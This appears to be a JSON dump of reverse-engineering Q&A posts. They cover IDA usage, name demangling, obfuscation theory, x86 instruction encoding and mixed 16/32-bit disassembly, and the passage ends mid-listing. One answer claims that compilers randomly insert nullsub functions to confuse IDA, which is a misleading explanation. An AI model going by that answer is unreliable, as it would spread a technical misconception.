        "Body": "<p><a href=\"http://www.saikoa.com/dexguard\" rel=\"noreferrer\">Dexguard</a> claims a \"hacker protection factor\" of 35 without any explanation of where the number comes from or what it means. I figure the actual statement is meaningless, but I'm very curious to see who is assessing these protection factors. </p>\n\n<p>A Google search didn't turn up anything, so I thought that the Dexguard authors probably made it up themselves. But <a href=\"https://twitter.com/nflnfl/status/241442557580673024\" rel=\"noreferrer\">this Twitter post</a> implies that there are other \"hacker protection factors\", out there which 35 can be compared with. </p>\n\n<p>Does anyone know what the deal with this is? Is it just more pointless puffery? Is there an actual group that is assigning these numbers?</p>\n",
        "Title": "Origin of \"Hacker Protection Factor\"",
        "Tags": "|obfuscation|",
        "Answer": "<p>\"Hacker Protection Factor\" is a geeky play of words on \"Sun Protection Factor\" -- how much longer can an application be attacked before being damaged. The numbers are based on empirical evidence (\"<em>Based on our experience,...</em>\"). I thought it was cute; it is not an industry standard, but it does serve as a simple indication that an application processed with ProGuard is more difficult to reverse-engineer than the original application, and an application processed with DexGuard is <em>a lot</em> more difficult to reverse-engineer.</p>\n\n<p>(I am the developer of ProGuard and DexGuard)</p>\n"
    },
    {
        "Id": "2388",
        "CreationDate": "2013-07-01T15:03:23.287",
        "Body": "<p>When reversing binaries and parsing memory, I often run across strings like <code>\"@YAXPAX@\"</code> used to reference procedures.  Is there a name for this type of convention?</p>\n\n<p>I believe theses strings are symbol references.</p>\n",
        "Title": "Artifacts similar to \"@YAXPAX@\" within memory and IDA sessions",
        "Tags": "|disassembly|ida|",
        "Answer": "<p>for vc++ name demangling you can use </p>\n\n<p><a href=\"http://ishiboo.com/~danny/Projects/vc++filt/\" rel=\"nofollow\">vc++filt</a></p>\n\n<p>it is a small wrapper over dbghelp Function UnDecorateSymbolname() that takes the mangled string and prints out demangled names back to the console see below for a snippet</p>\n\n<pre><code>??3@YAXPAX@Z\nvoid __cdecl operator delete(void *)\n?AFXSetTopLevelFrame@@YAXPAVCFrameWnd@@@Z\nvoid __cdecl AFXSetTopLevelFrame(class CFrameWnd *)\n</code></pre>\n\n<p>snippet </p>\n\n<pre><code>int _tmain(int argc, _TCHAR* argv[])\n{\n    char buff[0x100];\n    UnDecorateSymbolName(\"??3@YAXPAX@Z\",buff,0xf0,UNDNAME_COMPLETE);\n    printf(\"%s\\n\",buff);\n    return 0;\n}\n</code></pre>\n\n<p>output</p>\n\n<pre><code>void __cdecl operator delete(void *)\n</code></pre>\n"
    },
    {
        "Id": "2391",
        "CreationDate": "2013-07-01T23:35:25.503",
        "Body": "<p>My question is related to <a href=\"https://reverseengineering.stackexchange.com/questions/1669/what-is-an-opaque-predicate\">this question</a> with the excellent answer of @Rolf Rolles. Since <a href=\"http://profs.sci.univr.it/~dallapre/AMAST06.pdf\" rel=\"nofollow noreferrer\">the paper of M.D. Preda et al</a> is quite technique so I wonder whether I understand their idea or not. The following phrase is quoted from the paper: </p>\n\n<blockquote>\n  <p>The basic idea is to model attackers as abstract interpretations of\n  the concrete program behaviour, i.e., the concrete program semantics.\n  In this framework, an attacker is able to break an opaque predicate\n  when the abstract detection of the opaque predicate is equivalent to\n  its concrete detection.</p>\n</blockquote>\n\n<p>As fas as I understand, they have given a formal model of attacker as someone trying to obtain the properties of program using a sound approximation as abstract interpretation (AI). The attacker will success if the AI procedure is complete (informally speaking, the fixed-point obtained in the abstract domain \"maps\" also back to the fixed-point in the concrete domain).</p>\n\n<p>Concretely speaking, their model can be considered as an AI-based algorithm resolving the opaque predicate. In fact, this idea spreads everywhere (e.g. in <a href=\"https://www.cs.ox.ac.uk/people/leopold.haller/papers/sas2012.pdf\" rel=\"nofollow noreferrer\">this paper</a>, the authors have proven that the DPLL algorithm used in SMT solvers is also a kind of abstract interpretation).</p>\n\n<p>Obviously, in the worst case where the abstract interpretation is not complete then the attacker may never recover the needed properties (e.g. he can approximate but he will never recover the exact solution for a well-designed opaque predicate).</p>\n\n<p>So I wonder that the model of attacker as abstract domains may have some limits, because we still not sure that all attacks can be modelled in AI. Then a straitghtforward question comes to me is <em>\"What happens if the attacker uses some other methods to resolve the opaque predicate ?.\"</em></p>\n\n<p>For a trivial example, the attacker can simply use the dynamic analysis to bypass the opaque predicate (he accepts some incorrectness, but finally he may be able to get the properties he wants).</p>\n\n<p>Would anyone please give me some suggestions ?</p>\n",
        "Title": "Formal obfuscation",
        "Tags": "|obfuscation|deobfuscation|",
        "Answer": "<p>Any obfuscation technique (or its formalization) targets one or more assumptions made by some class of analyses A -- in essence, the obfuscation transforms a program P0 into a different representation P1 that has the same execution behavior as P0 but which violates the assumptions made by the analyses A.  In doing so, the obfuscation necessarily defines a class of attacks that it is effective against; it says nothing about attacks that don't fall within that class.</p>\n\n<p>Abstract interpretation is a formalization of program analysis that assumes sound static analysis (e.g., consider the requirements imposed on the abstract domain and abstraction/concretization functions).  So abstract interpretation serves to formalize obfuscations that make those assumptions and helps us reason about analyses/attacks that meet those assumptions.  It doesn't describe all possible obfuscations --- e.g., any obfuscation that relies on runtime code generation or modification --- and doesn't speak to attacks that don't meet those assumptions.  Thus, as you propose, an attacker who uses dynamic analysis or potentially unsound techniques essentially side-steps the rules assumed by abstract interpretation.</p>\n"
    },
    {
        "Id": "2394",
        "CreationDate": "2013-07-02T05:53:22.130",
        "Body": "<p>Sometimes when you load a binary manually in IDA you wind up with segments that have unknown read write and execute flags. You can see them under the Segments subview (<kbd>Shift</kbd> + <kbd>F7</kbd>). Is there a way to change these flags from within the GUI of IDA without running a script and modifying them? </p>\n\n<p>It seems like such a basic piece of functionality which is very important for the proper operation of the Hex Rays decompiler. I've been using the class to express segment rights which just seems wrong considering these flags exist.</p>\n\n<p>Although I would appreciate the question being answered in the general case, in this particular case I'm dealing with flat binary ARM files with code and data intermixed. All page level permissions are set up by the software when it loads by directly mapping them via the MMU.</p>\n",
        "Title": "How can I change the Read/Write/Execute flags on a segment in IDA?",
        "Tags": "|ida|segmentation|",
        "Answer": "<p>You can do it using Sark (<a href=\"https://github.com/tmr232/Sark\" rel=\"nofollow\">code</a>, <a href=\"http://sark.readthedocs.org/en/latest/index.html\" rel=\"nofollow\">docs</a>):</p>\n\n<pre><code>import sark\n\n# Get the segment\nsegment = sark.Segment(ea=0x00400000)\n\n# Set the permissions\nsegment.permissions.write = True\n</code></pre>\n\n<p><em>Disclaimer: I am the author of Sark.</em></p>\n"
    },
    {
        "Id": "2400",
        "CreationDate": "2013-07-02T15:53:33.987",
        "Body": "<p>As per <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/517.shtml\" rel=\"nofollow\">IDA Online Help</a>:</p>\n\n<blockquote>\n  <p>The segment class name identifies the segment with a class name (such as CODE, FAR_DATA, or STACK). The linker places segments with the same class name into a contiguous area of memory in the runtime memory map.</p>\n</blockquote>\n\n<p>IDA has the following predefined segment class names:</p>\n\n<pre><code>    CODE    -       Pure code\n    DATA    -       Pure data\n    CONST   -       Pure data\n    BSS     -       Uninitialized data\n    STACK   -       Uninitialized data\n    XTRN    -       Extern definitions segment\n</code></pre>\n\n<p>As far as I could tell permission on a segment already offer all relevant information.\nWhat is the exact purpose(or applicable usage) of <em>Segment Class Name</em>? How does IDA utilize it internally?</p>\n",
        "Title": "IDA: Segment Class Name",
        "Tags": "|disassembly|ida|",
        "Answer": "<p>Also, while permissions are more or less standardized and can inform you about the types of data/code found in a segment, remember that if you're talking about malware analysis there is no guarantee that the permissions on a segment are what you would expect.</p>\n\n<p>Not to mention that there is often a fair amount of header tampering in addition to non-standard memory utilization.  In fact, this is often how you can tell whether something was written in assembly, mangled with a tool or compiled from some other language.</p>\n"
    },
    {
        "Id": "2408",
        "CreationDate": "2013-07-03T21:36:35.133",
        "Body": "<p>It is possible to import structures and enums declarations from C files in IDA. \nHowever, is it possible to export structures and enums to C?</p>\n",
        "Title": "Exporting structures and enums in IDA",
        "Tags": "|ida|",
        "Answer": "<p>File-->Produce file-->Create C header file</p>\n\n<p>This will export all defined structures and enums.\nPlease note that in all IDA versions before IDA 6.5 you'll possibly need to reorder structures if you want to use created file for compilation of your own source.</p>\n"
    },
    {
        "Id": "2415",
        "CreationDate": "2013-07-05T18:05:47.107",
        "Body": "<p>Some compilers will add useless bytes in functions or in between functions. In the below block of code at 0040117C we can see the \"align\" keyword that was inserted by IDA.   </p>\n\n<pre><code>.text:00401176                 mov     eax, [edx+4]\n.text:00401179                 call    eax\n.text:0040117B\n.text:0040117B locret_40117B:                          ; CODE XREF: sub_401160+Dj\n.text:0040117B                 retn\n.text:0040117B sub_401160      endp\n.text:0040117B\n.text:0040117B ; ---------------------------------------------------------------------------\n.text:0040117C                 align 10h\n.text:00401180\n.text:00401180 ; =============== S U B R O U T I N E =======================================\n.text:00401180\n.text:00401180 ; Attributes: bp-based frame\n.text:00401180\n.text:00401180 ; int __stdcall sub_401180(void *Src)\n</code></pre>\n\n<p>If we were to view this in hex mode in this example we would see \"<code>CC CC ..</code>\". With other compilers we might see \"<code>90 90 ..</code>\". The obvious hint of what this is being used for is the \"align\" keyword. </p>\n\n<p><strong>Question:</strong> how can I tell if a specific byte at an address is marked as <code>align</code> in IDAPython? Example code would be appreciated. </p>\n\n<p>I have found a couple of functions and data types such as <code>FF_ALIGN</code> and <code>idaapi.is_align_insn(ea</code> that looked positive but I have yet to figure out a working example or results that confirm yes or no. I would prefer to rely on IDA types or functions rather than use string parsing for the keyword \"align\". </p>\n",
        "Title": "Accessing Data Marked as Alignment Bytes in IDA",
        "Tags": "|ida|compilers|idapython|",
        "Answer": "<p>For IDA v7.0 you can use: </p>\n\n<pre><code>ida_idp.is_align_insn(ScreenEA())\n</code></pre>\n"
    },
    {
        "Id": "2420",
        "CreationDate": "2013-07-06T10:24:56.467",
        "Body": "<p>In nearly every dis-assembly created by IDA, there are several functions that are marked <code>nullsub_</code> which according to IDA, return <del><code>null</code></del> nothing (just <code>ret</code> instruction). </p>\n\n<p>So, what are those and why are they in the database?</p>\n",
        "Title": "What are nullsub_ functions in IDA?",
        "Tags": "|disassembly|ida|",
        "Answer": "<p>compiler may insert dumb null_sub randomly between directions, in order to confuse IDA decompiler. So that IDA may generate meaningless variable names, increase reverse engineer's effort to understand the workflow, to connect to dots...</p>\n"
    },
    {
        "Id": "2427",
        "CreationDate": "2013-07-07T20:39:05.067",
        "Body": "<p>I am looking for a reliable source to download RE tools such as:</p>\n\n<ol>\n<li>Lordpe</li>\n<li>Imprec</li>\n<li>Peid</li>\n</ol>\n\n<p>but it seems all the links in google are not safe, where can I buy or download it from a reliable not malwared source. Can I trust <a href=\"http://www.woodmann.com/\">http://www.woodmann.com/</a> ?</p>\n",
        "Title": "Where can I get reliable tools for RE?",
        "Tags": "|tools|",
        "Answer": "<p>There is also <a href=\"http://www.openrce.org/downloads/\" rel=\"nofollow\">http://www.openrce.org/downloads/</a>\nThough it does not have specific tools you are looking for, it has lots of plugins for IDA and OllyDbg. It is trustworthy source as well.</p>\n"
    },
    {
        "Id": "2428",
        "CreationDate": "2013-07-07T21:07:13.747",
        "Body": "<p>I have heard countless stories on the Old Red Cracker, also known as +ORC, being the founding father of reverse engineering tutorials.</p>\n\n<p>I also read somewhere that he left some riddles to find his \"secret page\" and he disappeared into thin air.</p>\n\n<p>Did anyone <em>really</em> solve these riddles? Is the identity, or some of the background, of that person known?</p>\n",
        "Title": "Who was the Old Red Cracker?",
        "Tags": "|history|",
        "Answer": "<p>Yes, the riddle was solved. See <a href=\"http://www.home.aone.net.au/~byzantium/found/found4.html\" rel=\"noreferrer\">http://www.home.aone.net.au/~byzantium/found/found4.html</a></p>\n\n<p>As for +ORC himself, there's some more info at <a href=\"http://www.woodmann.com/crackz/Orc.htm\" rel=\"noreferrer\">http://www.woodmann.com/crackz/Orc.htm</a></p>\n\n<p>The last time I spoke with Fravia+ about +ORC, Fravia+ said that +ORC became obsessed with the pyramids in Egypt and went there to study them. He contracted some kind of illness while there and died rather suddenly. If I remember correctly, Fravia+ learned of +ORC's death through +ORC's son.</p>\n"
    },
    {
        "Id": "2432",
        "CreationDate": "2013-07-08T16:15:23.567",
        "Body": "<p>This is probably a pretty simple question as I'm not too used to how the syntax looks for OllyDBG's disassembler. </p>\n\n<p>Does this following assembler statement:</p>\n\n<pre><code>MOV EAX, DWORD PTR [ESI + 14]\n</code></pre>\n\n<p>Be roughly translated to this C code:</p>\n\n<pre><code>eax = *(esi + 0x14);\n</code></pre>\n\n<p>Have I understood the syntax correctly or am I misunderstanding this? </p>\n",
        "Title": "OllyDBG's disassembled syntax and c-equivalent",
        "Tags": "|disassembly|assembly|x86|ollydbg|",
        "Answer": "<p><a href=\"https://reverseengineering.stackexchange.com/users/262/dcoder\">@DCoder</a> has certainly answered this, so here is only some notes, or, at least it started out as a short note, and ended up as a <strong>monster</strong>.</p>\n\n<hr>\n\n<p>OllyDbg uses <code>MASM</code> by default (with some extension). In other words:</p>\n\n<pre><code>operation target, source\n</code></pre>\n\n<p>Other syntaxes are available under (depending on version):</p>\n\n<ul>\n<li>Options->Debugging Options->Disasm</li>\n<li>Options->Code</li>\n</ul>\n\n<p>E.g. <code>IDEAL</code>, <code>HLA</code> and <code>AT&amp;T</code>.</p>\n\n<p>There is also quite a few other options for how the disassembled code looks like. Click around. The changes are instantaneously so easy to find the <em>right one</em>.</p>\n\n<p>Numbers are always hex, but without any notation like <code>0x</code> or <code>h</code> (for compactness sake I guess \u2013\u00a0and the look is cleaner (IMHO)). Elsewhere, like the instruction details below disassembly, one can see e.g. base 10 numbers \u2013 then denoted by a dot at end. E.g. 0x10 (16.)</p>\n\n<hr>\n\n<p><em>(And here I stride off \u2026)</em></p>\n\n<h2>When it comes to reading the code</h2>\n\n<p>(Talking Intel)</p>\n\n<p>First off tables like the ones at <a href=\"http://ref.x86asm.net\" rel=\"nofollow noreferrer\">x86asm.net</a> and the <a href=\"http://www.sandpile.org/\" rel=\"nofollow noreferrer\">Sandpile</a> are definitively valuable assets in the work with assembly code. However one should also have:</p>\n\n<ul>\n<li>Intel\u00ae 64 and IA-32 Architectures Software Developer\u2019s Manual, Volume 1: Basic Architecture.</li>\n<li>Intel\u00ae 64 and IA-32 Architectures Software Developer\u2019s Manual, Volume 2 (2A, 2B &amp; 2C): Instruction Set Reference, A-Z.</li>\n<li>\u2026 etc. (There are also some collection volumes.)</li>\n</ul>\n\n<p>From <a href=\"http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html\" rel=\"nofollow noreferrer\">Intel\u00ae 64 and IA-32 Architectures Software Developer Manuals</a>.</p>\n\n<p>There is a lot of good sections and descriptions of how a system is stitched together and how operations affect the overall system as in registers, flags, stacks etc. Read e.g. <code>6.2 STACKS</code>, <code>3.4 BASIC PROGRAM EXECUTION REGISTERS</code>, <code>CHAPTER 4 DATA TYPES</code> from the <em>\"Developers\"</em> volume.</p>\n\n<hr>\n\n<p>As mentioned x86amd and Sandpile are good resources, but when you wonder about an instruction the manual is a good choice as well; <em>\"Instruction Set Reference A-Z\"</em>.</p>\n\n<p>Your whole line is probably something like:</p>\n\n<pre><code>00406ED6     8B46 14           MOV EAX,DWORD PTR DS:[ESI+14]\n; or\n00406ED6     8B46 14           MOV EAX,DWORD PTR [ESI+14]\n</code></pre>\n\n<p>(Depending on <em>options</em> and <em>Always show default segment</em>.)</p>\n\n<p>In this case we can split the binary as:</p>\n\n<pre><code>8B46 14\n | |  |\n | |  +---&gt; Displacement\n | +------&gt; ModR/M\n +--------&gt; Opcode\n</code></pre>\n\n<p><em>Note that there can be prefixes before opcode and other fields as well. For detail look at manual. E.g. \"CHAPTER 2 INSTRUCTION FORMAT\" in A-Z manual.</em></p>\n\n<hr>\n\n<p>Find the <code>MOV</code> operation and you will see:</p>\n\n<h2>MOV \u2013 move</h2>\n\n<pre><code>Opcode   Instruction     Op/En   64-bit    Compat   Description\n\u2026\n8B /r    MOV r32,r/m32   RM      Valid     Valid    Move r/m32 to r32.\n               |   |\n               |   +---&gt; source\n               +-------&gt; destination\n\u2026\n</code></pre>\n\n<p><strong>Instruction Operand Encoding</strong></p>\n\n<pre><code>Op/En   Operand1         Operand2         Operand3         Operand4\nRM      ModRM:reg (w)    ModRM:r/m (r)    NA               NA\n</code></pre>\n\n<p>Read <em>\"3.1 INTERPRETING THE INSTRUCTION REFERENCE PAGES\"</em> for details on codes.</p>\n\n<p>In short <em>MOV \u2013 mov</em> table say:</p>\n\n<pre><code>8B   : Opcode.\n/r   : ModR/M byte follows opcode that contains register and r/m operand.\nr32  : One of the doubleword general-purpose registers.\nr/m32: Doubleword general-purpose register or memory operand.\nRM   : Code for \"Instruction Operand Encoding\"-table.\n</code></pre>\n\n<p>The <em>Instruction Operand Encoding</em> table say:</p>\n\n<pre><code>reg  : Operand 1 is defined by the reg bits in the ModR/M byte.\n(w)  : Value is written.\nr/m  : Operand 2 is Mod+R/M bits of ModR/M byte.\n(r)  : Value is read.\n</code></pre>\n\n<hr>\n\n<h2>The too deep section</h2>\n\n<p><em>OK. Now I'm going to deep here, but can't stop myself.</em> (Often find that knowing the building blocks help understand the process.)</p>\n\n<p>The ModR/M byte is <code>0x46</code> which in binary form would be:</p>\n\n<pre><code>         7,6   5,4,3   2,1,0  (Bit number)\n0x46:    01     000     110\n          |      |       |\n          |      |       +---&gt; R/M\n          |      +-----------&gt; REG/OpExt\n          +------------------&gt; Mod\n</code></pre>\n\n<ol>\n<li>The value <code>000</code> of REG field translates to <code>EAX</code></li>\n<li>Mod+R/M translates to <code>ESI+disp8</code></li>\n</ol>\n\n<p>(Ref. <em>\"2.1.5 Addressing-Mode Encoding of ModR/M and SIB Bytes\"</em> table 2-2, in A-Z ref.).</p>\n\n<p>Pt. 2. tells us that a 8-bit value, 8-bit displacement byte, follows the ModR/M byte which should be added to the value of <code>ESI</code>. In comparison, if there was a 32-bit displacement or register opcode+ModR/M's would be:</p>\n\n<pre><code>32-bit displacement                 General-purpose register\n\n +-----&gt; MOV r32,r/m32               +-----&gt; MOV r32,r/m32\n |                                   |\n8Bh 86h                             8Bh C1h\n     |         +--&gt; EAX                  |         +--&gt; EAX\n     |         |                         |         |\n     +---&gt; 10 000 110 b                  +---&gt; 11 000 001 b\n            |       |                           |       |\n            +---+---+                           +---+---+\n                |                                   |\n                v                                   v\n               ESI + disp32                        ECX\n</code></pre>\n\n<hr>\n\n<p>As we have a <code>disp8</code> the next byte is a 1-byte value that should be added to the value of ESI. In this case <code>0x14</code>.</p>\n\n<p>Note that this byte is signed so e.g. <code>0xfe</code> would mean <code>ESI - 0x02</code>.</p>\n\n<h2>Segment to use</h2>\n\n<p>ESI is pointer to data in segment pointed to by DS.</p>\n\n<p>A segment selector is comprised of three values:</p>\n\n<pre><code>    15 - 3             2                   1 - 0              (Bits)\n|-------------|-----------------|---------------------------|\n|    Index    | Table Indicator | Requested Privilege Level |\n+-------------+-----------------+---------------------------+\n</code></pre>\n\n<p>So say selector = 0x0023 we have:</p>\n\n<pre><code>0x23 0000000000100 0 11 b\n           |       |  |\n           |       |  +----&gt; RPL  : 3   = User land, (0 is kernel)\n           |       +-------&gt; TI   : 0   = GDT (GDT or LDT)\n           +---------------&gt; Index: 4     Multiplied by 8 and added to TI\n</code></pre>\n\n<ul>\n<li>GDT = Global Descriptor Table</li>\n<li>LDT = Local Descriptor Table</li>\n</ul>\n\n<p>The segment registers (CS, DS, SS, ES, FS and GS) are designed to hold selectors for code, stack or data. This is to lessen complexity and increase efficiency.</p>\n\n<p>Each of these registers also have a <em>hidden part</em> aka <em>\"shadow register\"</em> or <em>\"descriptor cache\"</em> which holds <em>base address</em>, <em>segment limit</em> and <em>access control information</em>. These values are automatically loaded by the processor when a segment selector is loaded into the visible part of the segment registers.</p>\n\n<pre><code>   | Segment Selector |      Shadow Register     |\n   +------------------+--------------------------+\n   |  Idx  | TI | RPL | BASE  | Seg Lim | Access | CS, SS, DS, ES, FS, GS\n   +------------------+--------------------------+\n</code></pre>\n\n<p>The BASE address is a linear address. ES, DS and SS are not used in 64-bit mode.</p>\n\n<hr>\n\n<h2>Result</h2>\n\n<p>Read a 32-bit value from segment address ESI+disp8. Example:</p>\n\n<pre><code>ESI = 0x005056A0\n\nDump of DS segment:\n           0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f\n005056A0  00 00 00 00 9C 8F 41 7E 4C 1F 42 00 C0 1E 42 00  ....\u0153A~LB.\u00c0B.\n005056B0  E0 1F 42 00 70 20 42 00 48 21 42 00 4A A8 42 7E  \u00e0B.p B.H!B.J\u00a8B~\n\nESI + 0x14 = 0x005056B4 =&gt; 70 20 42 00 \u2026\n\nEAX = (DWORD)70 20 42 00 = 00 42 20 70 (4333680.)\n</code></pre>\n\n<hr>\n\n<h2>Simulate in C</h2>\n\n<p>One problem with your example is that <code>esi</code> is an integer (strictly speaking). The value, however, can be that one of a segment address. Then you have to take into consideration that each segment has a <em>base address</em>, (offset), \u2013 as in:</p>\n\n<pre><code>seg = malloc(4096);\nseg[0] \n    |\n    +---&gt; at base address, e.g. 0x505000\n\n       +----------------+\n       |                |\n       |                |\n        \u2026\n505000 |                | seg[00 - 0f]\n505010 |                | seg[10 - 1f]\n505020 |                | seg[20 - 2f]\n        \u2026\n</code></pre>\n\n<p>In this case, as it is ESI, that segment would be the one pointed to by DS.</p>\n\n<hr>\n\n<p>To simulate this in C you would need variables for the general-purpose registers, but you would also need to create segments (from where to read/write data.) Roughly such a code <strong>could</strong> be something like:</p>\n\n<pre><code>void dword_m2r(uint32_t *x, struct segment *seg, uint32_t offset)\n{\n    *x = *((uint32_t*)(seg-&gt;data + (offset - seg-&gt;base)));\n}\n\ndword_m2r(&amp;eax, &amp;ds, esi + 0x14);\n</code></pre>\n\n<p>Where <code>struct segment</code> and <code>ds</code> are:</p>\n\n<pre><code>struct segment {\n    u8 *data;\n    u32 base;\n    u32 size;\n    u32 eip;\n};\n\nstruct segment ds;\nds.base = 0x00505000;\nds.size = 0x3000;\nds.data = malloc(ds.size);\nds.eip  = 0x00;\n</code></pre>\n\n<p>To further develop on this concept you could create another <code>struct</code> with registers, use defines or variables for registers, add default segments etc.</p>\n\n<p>For Intel-based architecture that could be something in the direction of this (as a not to nice beginning):</p>\n\n<pre><code>#include &lt;stdint.h&gt;\n\n#define u64  uint64_t\n#define u32  uint32_t\n#define u16  uint16_t\n#define u8   uint8_t\n\nunion gen_reg {\n    u64 r64;\n    u32 r32;\n    u16 r16;\n    u8   l8;\n};\n\nstruct CPU {\n    union gen_reg accumulator;\n    u8 *ah;\n    union gen_reg counter;\n    u8 *ch;\n    \u2026\n    struct segment s_stack;\n    struct segment s_code;\n    struct segment s_data;\n    \u2026\n\n    u32 eflags;\n    u32 eip;\n    \u2026\n};\n\n\n#define RAX   CPU.accumulator.rax\n#define EAX   CPU.accumulator.eax\n#define AX    CPU.accumulator.ax\n#define AH    *((u8*)&amp;AX + 1)\n#define AL    CPU.accumulator.al\n\u2026\n\n\n/* and then some variant of */\nESI = 0x00505123;\ndword_m2r(&amp;EAX, &amp;DS, ESI + 0x14);\n</code></pre>\n\n<p>For a more compact way, ditching ptr to <code>H</code> register etc. have a look at e.g.\nthe code base of <a href=\"http://www.virtualbox.org/svn/vbox/trunk/src/VBox/Additions/x11/x11include/xorg-server-1.14.0/regs.h\" rel=\"nofollow noreferrer\">virtualbox</a>. <strong><em>Note:</em></strong> require some form of pack directive for most compilers to prevent filling of bits in structs \u2013\u00a0so that e.g. AH and AL really align up with correct bytes of AX.</p>\n"
    },
    {
        "Id": "2440",
        "CreationDate": "2013-07-09T20:36:51.017",
        "Body": "<p>I am trying to reverse engineer a binary blob I expect to transition from 16-bit real mode into 32-bit protected mode (it is boot time code), so I expect the code to contain code of both sorts.</p>\n\n<p>When I launch IDA, I am given the option of 16 or 32-bit code, but not mixed.</p>\n\n<p>How do I instruct IDA to attempt to disassemble data at a given address as 32-bit mode?</p>\n\n<p>I can using the 16-bit analyzer deduce the initial jump (unoriginally) and IDA happily analyses the code from there. I can see where the 32-bit code jumps to (far jump, so IDA doesn't try to analyze it), but IDA treats this as 16-bit when I hit <kbd>C</kbd>.</p>\n\n<p>Other than launching a 16, and a 32-bit dissasmbly session, can I do this in one?</p>\n",
        "Title": "Mixed 16/32-bit code reversing using IDA",
        "Tags": "|ida|x86|",
        "Answer": "<p><strong>Ida Free 5</strong></p>\n\n<pre><code>Edit -&gt; Segments -&gt;CreateSegment\n</code></pre>\n\n<p>in the dialog</p>\n\n<pre><code>segment name  = seg001....seg00n\nstart         = &lt;start address viz 0x0A\nend           = &lt;end address viz 0x1e\nbase          = 0x0 \nclass         = some text viz 32one,32two,16three\nradio button  = 32 bit segment or 16 bit segment as needed\nclick yes to a cryptic dialog \n</code></pre>\n\n<p>example \nthe binary stream contains 16 bit dos puts routine and 32 bit random pushes intermixed</p>\n\n<pre><code>C:\\Documents and Settings\\Admin\\Desktop&gt;xxd -g 1 1632blob.bin\n0000000: b4 01 cd 21 88 c2 b4 02 cd 21 68 78 56 34 12 68  ...!.....!hxV4.h\n0000010: 0d d0 37 13 68 be ba 37 13 68 00 0d db ba b4 01  ..7.h..7.h......\n0000020: cd 21 88 c2 b4 02 cd 21 68 78 56 34 12 68 0d d0  .!.....!hxV4.h..\n0000030: 37 13 68 be ba 37 13 68 00 0d db ba b4 01 cd 21  7.h..7.h.......!\n0000040: 88 c2 b4 02 cd 21 68 78 56 34 12 68 0d d0 37 13  .....!hxV4.h..7.\n0000050: 68 be ba 37 13 68 00 0d db ba                    h..7.h....\n\nC:\\Documents and Settings\\Admin\\Desktop&gt;\n</code></pre>\n\n<p>loading this blob as binary file moving to <code>offset 0</code> and pressing <code>c</code> would disassemble all bytes as <code>16 bit</code> </p>\n\n<p>now you can move to <code>offset 0x0a</code> and create a <code>32 bit segment</code> with start as <code>0x0a end as 0x1e base as 0x0 class as 32one use 32bitsegment radio button</code> and press <code>c</code> again to create 32 bit disassembly</p>\n\n<p>see below</p>\n\n<pre><code>seg000:0000                ;\nseg000:0000                ; +-------------------------------------------------------------------------+\nseg000:0000                ; \u00a6     This file is generated by The Interactive Disassembler (IDA)        \u00a6\nseg000:0000                ; \u00a6     Copyright (c) 2010 by Hex-Rays SA, &lt;support@hex-rays.com&gt;           \u00a6\nseg000:0000                ; \u00a6                      Licensed to: Freeware version                      \u00a6\nseg000:0000                ; +-------------------------------------------------------------------------+\nseg000:0000                ;\nseg000:0000                ; Input MD5   : AEB17B9F8C4FD00BF2C04A4B3399CED1\nseg000:0000\nseg000:0000                ; ---------------------------------------------------------------------------\nseg000:0000\nseg000:0000                                .686p\nseg000:0000                                .mmx\nseg000:0000                                .model flat\nseg000:0000\nseg000:0000                ; ---------------------------------------------------------------------------\nseg000:0000\nseg000:0000                ; Segment type: Pure code\nseg000:0000                seg000          segment byte public 'CODE' use16\nseg000:0000                                assume cs:seg000\nseg000:0000                                assume es:seg005, ss:seg005, ds:seg005, fs:seg005, gs:seg005\nseg000:0000 B4 01                          mov     ah, 1\nseg000:0002 CD 21                          int     21h\nseg000:0004 88 C2                          mov     dl, al\nseg000:0006 B4 02                          mov     ah, 2\nseg000:0008 CD 21                          int     21h\nseg000:0008                seg000          ends\nseg000:0008\nseg001:0000000A                ; ---------------------------------------------------------------------------\nseg001:0000000A\nseg001:0000000A                ; Segment type: Regular\nseg001:0000000A                seg001          segment byte public '32one' use32\nseg001:0000000A                                assume cs:seg001\nseg001:0000000A                                ;org 0Ah\nseg001:0000000A                                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing\nseg001:0000000A 68 78 56 34 12                 push    12345678h\nseg001:0000000F 68 0D D0 37 13                 push    1337D00Dh\nseg001:00000014 68 BE BA 37 13                 push    1337BABEh\nseg001:00000019 68 00 0D DB BA                 push    0BADB0D00h\nseg001:00000019                seg001          ends\nseg001:00000019\nseg002:001E                ; ---------------------------------------------------------------------------\nseg002:001E\nseg002:001E                ; Segment type: Pure code\nseg002:001E                seg002          segment byte public 'CODE' use16\nseg002:001E                                assume cs:seg002\nseg002:001E                                ;org 1Eh\nseg002:001E                                assume es:seg005, ss:seg005, ds:seg005, fs:seg005, gs:seg005\nseg002:001E B4 01                          mov     ah, 1\nseg002:0020 CD 21                          int     21h\nseg002:0022 88 C2                          mov     dl, al\nseg002:0024 B4 02                          mov     ah, 2\nseg002:0026 CD 21                          int     21h\nseg002:0026                seg002          ends\nseg002:0026\nseg003:00000028                ; ---------------------------------------------------------------------------\nseg003:00000028\nseg003:00000028                ; Segment type: Regular\nseg003:00000028                seg003          segment byte public '32two' use32\nseg003:00000028                                assume cs:seg003\nseg003:00000028                                ;org 28h\nseg003:00000028                                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing\nseg003:00000028 68 78 56 34 12                 push    12345678h\nseg003:0000002D 68 0D D0 37 13                 push    1337D00Dh\nseg003:00000032 68 BE BA 37 13                 push    1337BABEh\nseg003:00000037 68 00 0D DB BA                 push    0BADB0D00h\nseg003:00000037                seg003          ends\nseg003:00000037\nseg004:003C                ; ---------------------------------------------------------------------------\nseg004:003C\nseg004:003C                ; Segment type: Pure code\nseg004:003C                seg004          segment byte public 'CODE' use16\nseg004:003C                                assume cs:seg004\nseg004:003C                                ;org 3Ch\nseg004:003C                                assume es:seg005, ss:seg005, ds:seg005, fs:seg005, gs:seg005\nseg004:003C B4 01                          mov     ah, 1\nseg004:003E CD 21                          int     21h\nseg004:0040 88 C2                          mov     dl, al\nseg004:0042 B4 02                          mov     ah, 2\nseg004:0044 CD 21                          int     21h\nseg004:0044                seg004          ends\nseg004:0044\nseg005:00000046                ; ---------------------------------------------------------------------------\nseg005:00000046\nseg005:00000046                ; Segment type: Regular\nseg005:00000046                seg005          segment byte public '32three' use32\nseg005:00000046                                assume cs:seg005\nseg005:00000046                                ;org 